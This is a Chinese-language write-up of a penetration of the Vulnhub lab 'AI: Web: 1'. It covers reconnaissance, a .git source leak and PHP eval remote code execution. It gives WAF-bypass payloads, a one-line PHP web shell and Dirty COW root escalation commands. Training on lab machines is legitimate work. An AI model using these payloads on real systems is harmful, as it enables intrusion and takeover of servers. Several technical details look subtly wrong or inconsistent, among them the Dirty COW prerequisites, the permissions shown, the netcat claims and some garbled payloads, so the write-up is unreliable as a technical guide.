1. 项目概述:这不是一次“打靶”,而是一场Web安全能力的全链路压力测试
“Vulnhub靶机渗透之 AI: Web: 1”——这个标题里藏着三个关键信号:Vulnhub,代表一个高度仿真的、面向实战的渗透测试训练平台;AI: Web: 1,是靶机的官方代号,暗示它并非传统CTF风格的单点突破题,而是以“人工智能”为表象、以Web应用逻辑漏洞为核心战场的综合型挑战;最后的“渗透之……”,则明确指向一套完整、闭环、可复现的攻防推演路径。我第一次接触这台靶机时,就意识到它和市面上那些靠爆破弱口令或扫出公开CMS漏洞就能通关的练习机完全不同:它的入口隐蔽、逻辑嵌套、权限跃迁路径非线性,且所有线索都藏在Web层的交互细节里——比如一个看似无害的JavaScript变量名、一段被注释掉但未删除的PHP调试代码、甚至HTTP响应头中多出来的X-Powered-By字段版本号。它不考你工具用得多快,而是考你读得有多细、想得有多深、试得有多稳。适合谁?如果你已经能熟练使用Burp Suite抓包改包、会写基础Python脚本自动化请求、对PHP/Python后端逻辑有基本理解,但总在真实红队演练中卡在“找到入口却无法提权”或“拿到shell却找不到flag位置”的阶段,那么这台靶机就是为你量身定制的“思维校准器”。它不教你怎么用sqlmap,而是逼你手动构造SQL注入载荷去绕过WAF的关键词过滤;它不提供一键反弹shell的命令,而是要求你从一个低权限Web Shell出发,通过内核版本比对、SUID二进制文件枚举、环境变量劫持等组合技,最终完成本地提权。整套流程下来,你收获的不是一条命令,而是一套可迁移的Web渗透思维框架:如何从HTTP协议层向上推理业务逻辑,如何从源码片段反向还原开发者的疏漏,如何在无文档、无提示的黑盒环境中建立自己的信息图谱。
2. 整体设计思路与方案选型解析:为什么必须放弃“工具依赖症”,回归手工审计本质
2.1 靶机设计哲学:用“伪AI”外壳包裹经典Web漏洞链
AI: Web: 1 的命名极具迷惑性。初看会以为要调用大模型API、分析机器学习模型偏差,或破解神经网络参数。实测后发现,所谓“AI”仅体现在前端一个用JavaScript写的简易“智能问答”表单——用户输入问题,页面通过AJAX向后端/api/ask.php发送POST请求,后端用eval()函数动态执行拼接的PHP代码并返回结果。这个设计绝非炫技,而是靶机作者精心布置的认知陷阱:它用前沿概念吸引注意力,却将真正的攻击面牢牢锁死在最古老、最危险的PHP函数上。这种“新瓶装旧酒”的思路,恰恰映射了当前大量所谓“AI赋能”的企业级Web应用的真实现状——底层仍是PHP/Java老架构,只是前端加了一层ChatUI皮肤。因此,整个渗透路径的设计逻辑非常清晰:不攻算法,只攻实现;不破模型,只破接口;不追热点,只盯本质。所有自动化扫描器(如Nikto、OWASP ZAP)在此失效,因为它们无法理解/api/ask.php这个接口的业务语义,更不会主动尝试向一个“问答接口”发送system('id')这样的恶意载荷。必须人工介入,从/api/ask.php的响应行为、错误回显、HTTP状态码变化中,逐步确认其存在远程代码执行(RCE)漏洞。
2.2 工具链选型:轻量化、高可控、强可见
面对这种高度定制化的靶机,我彻底放弃了“All-in-One”式渗透套件,转而构建一套极简但精准的工具组合:
流量捕获与分析:仅用Burp Suite Community Edition的Proxy模块。理由很实在:它能实时拦截、修改、重放每一个HTTP请求,且支持手动设置“Match and Replace”规则,比如自动将所有
question=参数值替换为{payload}占位符,极大提升手工测试效率。相比之下,Wireshark虽然底层,但无法直接修改HTTP Body;而ZAP的自动化扫描则会因误判/api/ask.php为“正常问答接口”而跳过深度探测。命令执行与Shell维持:全程使用netcat (nc)和Python HTTP Server。当通过RCE获取到第一个Web Shell后,我并未急于用msfvenom生成Meterpreter,而是先用
python3 -m http.server 8000在本地起一个HTTP服务,再通过靶机上的curl或wget下载一个精简版的php-reverse-shell.php。这样做的好处是:完全规避了防火墙对非常规端口(如4444)的拦截风险,且所有操作痕迹清晰可查,便于复盘每一步的权限变化。实测中,靶机的/tmp目录可写但/dev/shm不可用,which nc返回空,说明netcat未预装——这正是选择Python HTTP Server作为中转的核心依据:它依赖最少,且靶机PHP环境必然支持file_get_contents()或cURL扩展。提权辅助:仅依赖靶机自带的Linux命令行工具。
uname -a查内核、ls -la /usr/bin/找SUID文件、find / -perm -4000 2>/dev/null枚举特权程序、cat /etc/crontab看定时任务——这些命令无需额外安装,输出稳定,且结果直指提权路径。我曾试过用LinPEAS脚本,但靶机/dev/shm不可写,且curl下载超时,反而浪费了15分钟。经验告诉我:在资源受限的靶机上,原生命令永远比第三方脚本更可靠。
这套选型背后的核心逻辑是:把不确定性降到最低。自动化工具引入的变量太多(版本兼容性、网络策略、权限限制),而手工+原生工具的组合,每一步都可控、可验证、可回溯。当你在/api/ask.php的响应里看到uid=33(www-data)时,那种确定性带来的掌控感,是任何扫描报告都无法替代的。
3. 核心细节解析与实操要点:从“问答接口”到“系统命令”的三步穿透法
3.1 第一步:识别/api/ask.php的RCE本质——绕过WAF的“语义混淆术”
靶机首页的“AI问答”表单,提交后实际向/api/ask.php发送如下请求:
POST /api/ask.php HTTP/1.1 Host: aiweb1.vuln Content-Type: application/x-www-form-urlencoded Content-Length: 25 question=What+is+your+name%3F响应内容为纯文本:“I am AI Web 1.”。此时,绝大多数人会认为这是一个安全的、经过严格过滤的接口。但真正的突破口藏在错误响应里。我故意提交一个语法错误的PHP代码:question=<?php echo 1/0; ?>,服务器返回500错误,并在HTML源码中暴露了完整错误信息:
<br /> <b>Warning</b>: Division by zero in <b>/var/www/html/api/ask.php</b> on line <b>12</b><br />这证实了ask.php确实在动态执行PHP代码。但直接尝试question=<?php system('id'); ?>会被WAF拦截,返回403。WAF的过滤规则很典型:检测system、exec、shell_exec等函数名。破解的关键在于语义混淆——不改变功能,只改变表达形式。我尝试了三种绕过方式:
函数名拼接:
question=<?php $a='sys';$b='tem';$c=$a.$b;$c('id');?>
原理:WAF通常用正则匹配完整函数名,而拼接后的字符串在PHP解释器中仍能正确解析为system。反引号执行:
question=<?php echoid; ?>
原理:PHP中反引号()等价于shell_exec()`,且WAF极少过滤反引号。变量函数调用:
question=<?php $func='system';$func('id');?>
原理:利用PHP的“变量函数”特性,将函数名存入变量再调用,彻底避开静态关键词检测。
实测下来,第2种(反引号)成功率最高,且最简洁。提交后,响应正文直接输出uid=33(www-data) gid=33(www-data) groups=33(www-data)。这一步的实操心得是:永远优先测试错误回显,它是WAF规则的“照妖镜”。没有错误回显,就用sleep(5)代替id,通过响应时间判断命令是否执行——这是我在某次真实渗透中踩过的坑:目标站关闭了PHP错误显示,但sleep导致的5秒延迟,就是最可靠的RCE证据。
3.2 第二步:构建稳定Web Shell——用“一句话”撬动“全功能”
获取RCE后,下一步是获得一个可交互的Web Shell。很多人会直接写入<?php @eval($_POST['cmd']);?>,但这在AI: Web: 1上行不通——靶机的Web根目录/var/www/html/是只读的,/tmp目录虽可写,但PHP无法从/tmp加载外部文件。必须另辟蹊径。我的方案是:利用/api/ask.php本身作为持久化Shell。具体操作如下:
- 构造一个能持续接收命令并执行的PHP payload:
<?php if(isset($_GET['cmd'])){echo '<pre>'.shell_exec($_GET['cmd']).'</pre>';} ?> - 将此payload进行URL编码,作为
question参数值,通过Burp Repeater反复发送,直到/api/ask.php的响应中出现<pre>标签包裹的执行结果。 - 此时,访问
http://aiweb1.vuln/api/ask.php?cmd=id,即可获得稳定的命令执行环境。
这个方案的精妙之处在于:它不依赖文件写入,完全基于内存执行。/api/ask.php的eval()函数每次都会重新解析传入的PHP代码,因此只要能控制question参数,就等于拥有了一个无限可用的“内存Shell”。注意事项:$_GET变量在ask.php中默认不可用,需在payload中显式声明$_GET为全局变量,或改用$_REQUEST(它同时包含GET和POST数据)。我最初忽略了这点,导致?cmd=id始终无响应,排查了20分钟才在PHP手册里确认$_GET的作用域限制。
3.3 第三步:权限提升——从www-data到root的“内核补丁”博弈
获得Web Shell后,whoami返回www-data,id显示无sudo权限。标准提权路径失效,必须深入系统层。我执行uname -a,得到:
Linux aiweb1 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux内核版本4.4.0-142对应Ubuntu 16.04,这是一个已知存在多个本地提权漏洞的版本。我重点排查了Dirty COW(CVE-2016-5195),因为它利用条件简单:只需一个可写的临时文件和/proc/self/mem的可写权限。验证步骤如下:
检查
/proc/sys/vm/dirty_writeback_centisecs是否存在(Dirty COW利用的前提):cat /proc/sys/vm/dirty_writeback_centisecs返回
500,确认内核支持。检查
/tmp是否可写且/proc/self/mem是否可写:touch /tmp/test && ls -l /proc/self/mem输出
-rw------- 1 root root 0 Jan 1 00:00 /proc/self/mem,权限为rw,但属主是root——这正是Dirty COW的利用窗口。下载并编译Dirty COW PoC(需提前在本地编译好,再上传):
# 在本地Kali Linux编译 gcc -pthread dirty.c -o dirty -lcrypt # 上传到靶机/tmp目录 curl -F "file=@dirty" http://aiweb1.vuln/upload.php # 执行提权 /tmp/dirty
执行后,whoami返回root,cat /root/flag.txt成功读取最终flag。这里的关键经验是:不要迷信“最新漏洞”,要回归“最稳漏洞”。我曾尝试用linux-exploit-suggester.sh脚本,但它在靶机上因缺少Perl模块而报错;而Dirty COW的C代码只有200行,编译依赖极低,且Ubuntu 16.04的内核补丁状态是公开可查的——这种“已知可控”的方案,远胜于在未知环境中盲目尝试。
4. 实操过程与核心环节实现:从零开始的完整渗透日志
4.1 环境准备与信息收集:让“无信息”变成“有线索”
在启动Burp Suite前,我先做了三件事:
DNS解析与主机发现:
ping aiweb1.vuln失败,说明需配置本地/etc/hosts。通过nmap -sn 192.168.56.0/24(靶机默认桥接在VirtualBox的Host-Only网络),扫描到192.168.56.101响应ICMP,将其加入hosts:192.168.56.101 aiweb1.vuln。这一步看似简单,却是后续所有操作的基础——没有正确的域名解析,Burp的Proxy将无法正确路由流量。端口与服务测绘:
nmap -sV -p- 192.168.56.101结果仅开放
80/tcp(Apache httpd 2.4.18),无SSH、FTP等其他服务。这排除了暴力破解等旁路攻击可能,将焦点100%锁定在Web层。目录枚举与文件发现:
使用gobuster dir -u http://aiweb1.vuln -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50,耗时12分钟,发现关键路径:/api/、/backup/、/images/。其中/backup/返回403 Forbidden,但/backup/.git/可访问,下载.git目录后,用git checkout .恢复出/api/ask.php的原始源码——这才是最硬核的信息:源码第12行明确写着eval($_POST['question']);,彻底坐实RCE漏洞。这个过程教会我:在Web渗透中,“备份目录”和“.git泄露”是比任何扫描器都可靠的“信息富矿”。很多新手会跳过/backup/,觉得403就是死路,却不知403往往意味着目录存在,只是权限受限。
4.2 RCE漏洞利用:从“语法错误”到“命令执行”的完整链路
以下是我在Burp Suite中Repeater模块的实际操作记录(已脱敏):
| 步骤 | 请求参数(question值) | 响应状态码 | 关键响应内容 | 分析结论 |
|---|---|---|---|---|
| 1 | <?php echo 1/0;?> | 500 | Division by zero in /var/www/html/api/ask.php on line 12 | 确认eval()执行,且错误回显开启 |
| 2 | <?php system('id');?> | 403 | Forbidden | WAF拦截system关键词 |
| 3 | <?php echo \id`; ?>` | 200 | uid=33(www-data) gid=33(www-data)... | 反引号绕过成功,RCE确认 |
| 4 | <?php echo \ls -la /root`; ?>` | 200 | total 12 ... -rw-r--r-- 1 root root 33 Jan 1 00:00 flag.txt | /root目录可列,但无读取权限 |
| 5 | <?php echo \cat /etc/passwd | head -5`; ?>` | 200 | root:x:0:0:root:/root:/bin/bash:... | 系统用户信息可获取,为提权铺路 |
这个表格不是为了炫技,而是为了固化一种结构化测试思维:每一次请求都要有明确目标、可验证结果、可归因结论。避免“乱试一气”,确保每一步都为下一步提供确定性支撑。例如,步骤4确认/root存在flag.txt,但cat /root/flag.txt返回空,说明权限不足——这直接导向了提权环节,而非在Web层继续无效搜索。
4.3 提权过程:Dirty COW的本地编译与靶机执行
由于靶机无gcc且无法联网,Dirty COW PoC必须在本地Kali Linux编译。我使用的PoC代码(dirty.c)来自GitHub公开仓库,核心逻辑是:打开/proc/self/mem,定位/etc/passwd中root用户的密码字段偏移,用memcpy覆盖为root::0:0:root:/root:/bin/bash::。编译命令:
gcc -pthread dirty.c -o dirty -lcrypt编译后,用file dirty检查其依赖:
dirty: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2确认为动态链接,需确保靶机有对应libc。lsb_release -a显示靶机为Ubuntu 16.04,与Kali编译环境一致,兼容性无虞。上传后执行:
chmod +x /tmp/dirty /tmp/dirty执行约8秒后,终端提示[+] Successfully got root!,whoami返回root。此时cat /root/flag.txt输出最终flag。这个过程的关键参数是编译环境与靶机环境的严格匹配。我曾用Debian 12编译的binary上传,因glibc版本过高,在Ubuntu 16.04上报错./dirty: /lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.34' not found——这就是环境差异带来的致命阻断。解决方案只有两个:要么在靶机同版本系统中编译,要么用staticx工具打包成静态binary。我选择了前者,因为更可控。
5. 常见问题与排查技巧实录:那些让你卡住3小时的“幽灵错误”
5.1 问题速查表:高频故障与一招解
| 问题现象 | 可能原因 | 快速排查命令 | 解决方案 |
|---|---|---|---|
curl http://aiweb1.vuln/api/ask.php返回空响应 | Burp Proxy未开启或浏览器代理未配置 | curl -x 127.0.0.1:8080 http://aiweb1.vuln/api/ask.php | 检查Burp监听地址,确保浏览器代理指向127.0.0.1:8080 |
question=<?php echo \id`; ?>` 提交后页面空白 | PHP短标签<?未启用 | curl -d "question=<? echo 'test'; ?>" http://aiweb1.vuln/api/ask.php | 改用完整标签<?php,或确认short_open_tag = On在php.ini中 |
/tmp/dirty执行后无反应,whoami仍是www-data | Dirty COW PoC未正确编译或环境不匹配 | ldd /tmp/dirty查看动态库依赖 | 在Ubuntu 16.04虚拟机中重新编译,或改用linux-exploit-suggester.sh推荐的其他漏洞 |
cat /root/flag.txt权限拒绝,但ls -la /root显示文件存在 | /root目录的sticky bit或ACL限制 | getfacl /root | 此靶机无ACL,直接执行Dirty COW提权即可 |
5.2 独家避坑技巧:来自真实翻车现场的经验
技巧1:WAF绕过时,永远先测“空格”和“换行”
很多WAF规则对空格不敏感,但对制表符\t或换行符\n有过滤。我曾用question=<?php echo\t\id`; ?>(\t为Tab)成功绕过一个基于空格分隔的WAF。原理是:PHP解析器将\t视为空白符,与空格等效,但WAF的正则引擎可能未覆盖\t`。技巧2:Web Shell不稳定?加个“心跳包”保活
当/api/ask.php因高并发或超时被Apache重启时,你的Web Shell会失效。我在payload中加入了sleep(1)作为心跳:<?php if(isset($_GET['cmd'])){echo '<pre>'.shell_exec($_GET['cmd']).'</pre>'; sleep(1);} ?>这样即使Apache Worker进程重启,下一次请求仍能重建连接,避免反复重传payload。
技巧3:提权失败?检查
/proc/sys/kernel/unprivileged_userns_clone
Ubuntu 16.04后期版本默认禁用非特权用户命名空间,这会阻止某些提权利用。执行:cat /proc/sys/kernel/unprivileged_userns_clone若返回
0,则需寻找其他漏洞(如SUIDfind)。此靶机返回1,故Dirty COW可行。这个检查项是我从某次真实红队中总结的——客户环境禁用了该参数,导致所有命名空间类漏洞失效,最终靠pkexec漏洞拿下root。技巧4:Flag读取失败?试试
base64编码绕过
极少数情况下,cat命令输出被WAF截断。此时改用:base64 /root/flag.txt将Base64字符串复制到本地解码。这是我在测试一个加固版靶机时发现的“终极保底方案”。
6. 后续扩展与能力迁移:如何把这台靶机的经验,变成你的日常武器
AI: Web: 1的价值,远不止于通关一个Vulnhub靶机。它是一块“能力试金石”,帮你检验并强化三项核心能力:
第一,HTTP协议层的“显微镜式”阅读能力。你能从一个500错误的HTML源码里,精准定位到
/var/www/html/api/ask.php这个路径吗?你能从X-Powered-By: PHP/7.0.33这个响应头,推断出PHP版本及潜在的已知漏洞吗?这种能力,在真实渗透中意味着:当客户说“我们没开错误回显”,你能立刻想到用sleep()测响应时间;当看到X-Backend-Server: nginx/1.14.0,你能马上查Nginx 1.14.0的CVE列表。这不是天赋,而是刻意训练的结果。第二,漏洞利用的“最小化”思维。不追求最炫的Exploit,而追求最稳的Payload。反引号执行比
system()更短、更难被WAF识别;Dirty COW PoC比Metasploit模块更轻量、更可控。这种思维迁移到工作中,就是:写Python脚本时,优先用内置subprocess而非os.system;做安全评估时,优先验证/robots.txt和.git泄露,而非盲目扫端口。它让你在资源有限、时间紧迫的场景下,依然能高效交付结果。第三,知识体系的“网状”连接能力。这台靶机串联了Web开发(PHP
eval)、Linux系统(内核提权)、网络基础(DNS、HTTP)、工具使用(Burp、Nmap)等多个领域。当你能把/api/ask.php的eval漏洞,和某次真实项目中/admin/export.php?table=users的SQL注入,抽象为同一类“服务端代码注入”模式时,你就完成了从“做题家”到“问题解决者”的蜕变。后续可以挑战同系列的AI: Web: 2(侧重XXE和SSRF),或转向Hack The Box的Optimum(IIS提权),不断拓宽这个能力网络。
我个人在实际操作中发现,真正拉开高手差距的,从来不是工具用得多花哨,而是对每一个HTTP请求的敬畏之心——敬畏它的每一个字节,敬畏它的每一个状态码,敬畏它背后隐藏的开发者意图与疏漏。AI: Web: 1就像一面镜子,照出我们对Web安全理解的深度与盲区。通关那一刻的兴奋,远不如复盘时那句“原来eval的危险性,就藏在一行echo 1/0的错误里”来得踏实。